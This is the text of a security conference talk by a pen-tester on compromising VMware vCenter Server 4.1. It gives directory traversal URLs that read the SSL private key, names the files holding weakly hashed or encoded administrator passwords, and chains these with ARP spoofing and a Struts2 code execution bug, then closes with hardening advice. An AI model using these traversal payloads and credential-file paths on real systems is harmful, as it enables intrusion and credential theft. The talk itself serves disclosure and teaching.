Invest in security to secure investments
How to hack VMware vCenter server in 60 seconds
Alexander Minozhenko
#whoami
Pen-tester at Digital Security
Researcher DCG#7812 / Zeronights CTF Thanks for ideas and support to Alexey Sintsov
2
What do pen-testers do?
Scanning Fingerprinting Banner grabbing Play with passwords Find vulns. Exploit vulns. Escalate privs. Dig in Find ways to make attacks And e.t.c.
3
Find vulns.
Static
Source code review
regexp formal methods hand testing
Reverse Engineering
formal methods hands
Dynamic
Fuzzing (bin/web) + Typical bugs for class + Reverse Engineering Hand testing
Architecture Analysis (Logic flaws) Use vuln. Database (CVE/exploit-db/etc)
Pen-tester env.
Tasks:
pwn target 8) show most dang. vulns. show real attacks and what an attacker can do
Time: Not much ) Targets: Large number of targets, different types
5
Find vulns.
Static
Source code review
regexp formal methods hand testing
BlackBox
Not much time
Reverse Engineering
formal methods hands
Dynamic
Fuzzing (bin/web) + Typical bugs for class + Reverse Engineering Hand testing
Architecture Analysis (Logic flaws) Use vuln. Database (CVE/exploit-db/etc)
Target
VMware vCenter Server
VMware vCenter Server is solution to manage VMware vSphere vSphere virtualization operating system
Target
Vmware vCenter version 4.1 update 1 Services:
Update Manager vCenter Orchestrator Chargeback Other
Each services has web server
9
CVE-2009-1523
Directory traversal in Jetty web server http://target:9084/vci/download/health.xml/%3f/../../../../FILE Discovered by Claudio Criscione But Fixed in VMware Update Manager 4.1 update 1 :(
10
Directory traversal..again?
Directory traversal in Jetty web server http://target:9084/vci/download/.%5C..%5C..%5C..%5C..%5C..% 5C..%5C..%5C..\FILE.EXT Discovered by Alexey Sintsov Metasploit module vmware_update_manager_traversal.rb by sinn3r
11
Directory traversal
What file to read?
Claudio Criscione propose to read vpxd-profiler-* /SessionStats/SessionPool/Session/Id='06B90BCB-A0A4-4B9C-B680FB72656A1DCB'/Username=FakeDomain\FakeUser'/SoapSession/Id='A D45B176-63F3-4421-BBF0-FE1603E543F4'/Count/total 1
Contains logs of SOAP requests with session ID
12
VASTO
VASTO collection of Metasploit modules meant to be used as a testing tool to perform penetration tests or security audit of virtualization solutions. http://vasto.nibblesec.org/ vmware_updatemanager_traversal.rb Jetty path traversal vmware_session_rider.rb Local proxy to ride stolen SOAPID sessions
13
Fixed in version 4.1 update 1, contain ip - addresses
14
Attack
Make arp poisoning attack Spoof ssl certificate
15
Attack
Administrators check SSL cert
16
Attack
Steal ssl key via directory traversal
http://target:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key
Make arp-spoofing Decrypt traffic with stolen ssl key What if arp-spoofing does not work?
17
Vmware vCenter Orchestrator
Vmware vCO software for automate configuration and management Install by default with vCenter Have interesting file
C:\Program files\VMware\Infrastructure\Orchestrator \configuration\jetty\etc\passwd.properties
18
Vmware vCenter Orchestrator
Which contains md5 password without salt Could easy bruteforce using rainbow tables
19
We get in
20
Plain text passwords
21
Vmware vCenter Orchestrator
vCO stored password at files:
C:\Program Files\VMware\Infrastructure\Orchestrator\appserver\server\vmo\conf\plugins\VC.xml
C:\Program Files\VMware\Infrastructure\Orchestrator\appserver\server\vmo\conf\vmo.properties
22
VC.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <virtual-infrastructure-hosts> <virtual-infrastructure-host <enabled>true</enabled> <url>https://new-virtual-center-host:443/sdk</url> <administrator-username>vmware</administratorusername> <administratorpassword>010506275767b74786b383a4a60be76786474032 9d5fcf324ec7fc98b1e0aaeef </administrator-password> <pattern>%u</pattern> </virtual-infrastructure-host> </virtual-infrastructure-hosts>
23
Password Encoding
006766e7964766a151e213a242665123568256c4031702d4c78454e5b575f60654b vmware 00776646771786a783922145215445b62322d1a2b5d6e196a6a712d712e24726079 vcenter
Red bytes look like length Green bytes in ASCII range Black bytes random
24
Algorithm password Encoding
25
Password Decoder
26
VMSA-2011-0005
VMware vCenter Orchestrator use Struts2 version 2.11 discovered by Digital Defense, Inc CVE-2010-1870 Struts2/XWork remote command execution discovered by Meder Kydyraliev Fixed in 4.2
27
Example exploit
28
Attack Vectors
Directory traversal + ARP poisoning Directory traversal + password decoding/bruteforcing Remote code execution using Struts2 bug
29
Hardering
Update to latest version 4.2 update 4 or 5 Filter administration service services VMware KB 2021259. VMware vSphere Security Hardering Guide
30
Conclusions
Password must be stored in hash with salt or encrypted Fixed bugs not always fixed in proper way Pen-tester will get more profit if he tries to research something One simple bug and we can own all infrastructure
31
Thank you!
[email protected] @al3xmin
32
